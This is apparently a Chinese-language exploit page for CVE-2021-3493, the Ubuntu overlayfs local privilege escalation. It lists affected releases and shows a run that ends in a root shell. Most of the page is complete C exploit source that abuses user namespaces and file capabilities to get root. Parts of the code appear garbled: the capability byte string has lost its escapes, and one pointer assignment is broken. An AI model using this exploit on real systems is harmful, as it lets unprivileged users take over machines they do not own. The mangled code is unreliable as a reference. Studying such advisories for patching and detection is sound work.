影响范围
- Ubuntu 20 10
- Ubuntu 20 04 LTS
- Ubuntu 18 04 LTS
- Ubuntu 16 04 LTS
- Ubuntu 14 04 ESM
漏洞类型
本地权限提升
利用条件
影响范围应用
漏洞概述
Ubuntu的一个具体问题是在Linux内核中的overlayfs文件系统，它没有正确地验证文件系统功能在用户名称空间方面的应用，由于Ubuntu中的一个补丁允许非特权的overlayfs挂载，本地攻击者可以利用它来获得更高的权限。
漏洞复现
代码语言：javascript复制ubuntu@ubuntu:~/CVE-2021-3493$ gcc exploit.c -o exploit
ubuntu@ubuntu:~/CVE-2021-3493$ ./exploit
bash-4.4# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(ubuntu)
bash-4.4# whoami
root
bash-4.4# 
漏洞EXP
代码语言：javascript复制#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>
//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
#define DIR_BASE "./ovlcap"
#define DIR_WORK DIR_BASE "/work"
#define DIR_LOWER DIR_BASE "/lower"
#define DIR_UPPER DIR_BASE "/upper"
#define DIR_MERGE DIR_BASE "/merge"
#define BIN_MERGE DIR_MERGE "/magic"
#define BIN_UPPER DIR_UPPER "/magic"
static void xmkdir(const char *path, mode_t mode)
{
if (mkdir(path, mode) == -1 && errno != EEXIST)
err(1, "mkdir %s", path);
}
static void xwritefile(const char *path, const char *data)
{
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "open %s", path);
ssize_t len = (ssize_t) strlen(data);
if (write(fd, data, len) != len)
err(1, "write %s", path);
close(fd);
}
static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
int fi, fo;
if ((fi = open(src, O_RDONLY)) == -1)
err(1, "open %s", src);
if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
err(1, "open %s", dst);
char buf[4096];
ssize_t rd, wr;
for (;;) {
rd = read(fi, buf, sizeof(buf));
if (rd == 0) {
break;
} else if (rd == -1) {
if (errno == EINTR)
continue;
err(1, "read %s", src);
}
char *p = buf;
while (rd > 0) {
wr = write(fo, p, rd);
if (wr == -1) {
if (errno == EINTR)
continue;
err(1, "write %s", dst);
}
p = wr;
rd -= wr;
}
}
close(fi);
close(fo);
}
static int exploit()
{
char buf[4096];
sprintf(buf, "rm -rf '%s/'", DIR_BASE);
system(buf);
xmkdir(DIR_BASE, 0777);
xmkdir(DIR_WORK, 0777);
xmkdir(DIR_LOWER, 0777);
xmkdir(DIR_UPPER, 0777);
xmkdir(DIR_MERGE, 0777);
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, "unshare");
xwritefile("/proc/self/setgroups", "deny");
sprintf(buf, "0 %d 1", uid);
xwritefile("/proc/self/uid_map", buf);
sprintf(buf, "0 %d 1", gid);
xwritefile("/proc/self/gid_map", buf);
sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR_MERGE);
// all ep
char cap[] = "x01x00x00x02xffxffxffxffx00x00x00x00xffxffxffxffx00x00x00x00";
xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
err(1, "setxattr %s", BIN_MERGE);
return 0;
}
int main(int argc, char *argv[])
{
if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
setuid(0);
setgid(0);
execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
err(1, "execl /bin/bash");
}
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0) {
_exit(exploit());
} else {
waitpid(child, NULL, 0);
}
execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
err(1, "execl %s", BIN_UPPER);
}安全建议
等待官方发布最新补丁包
参考链接
https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/
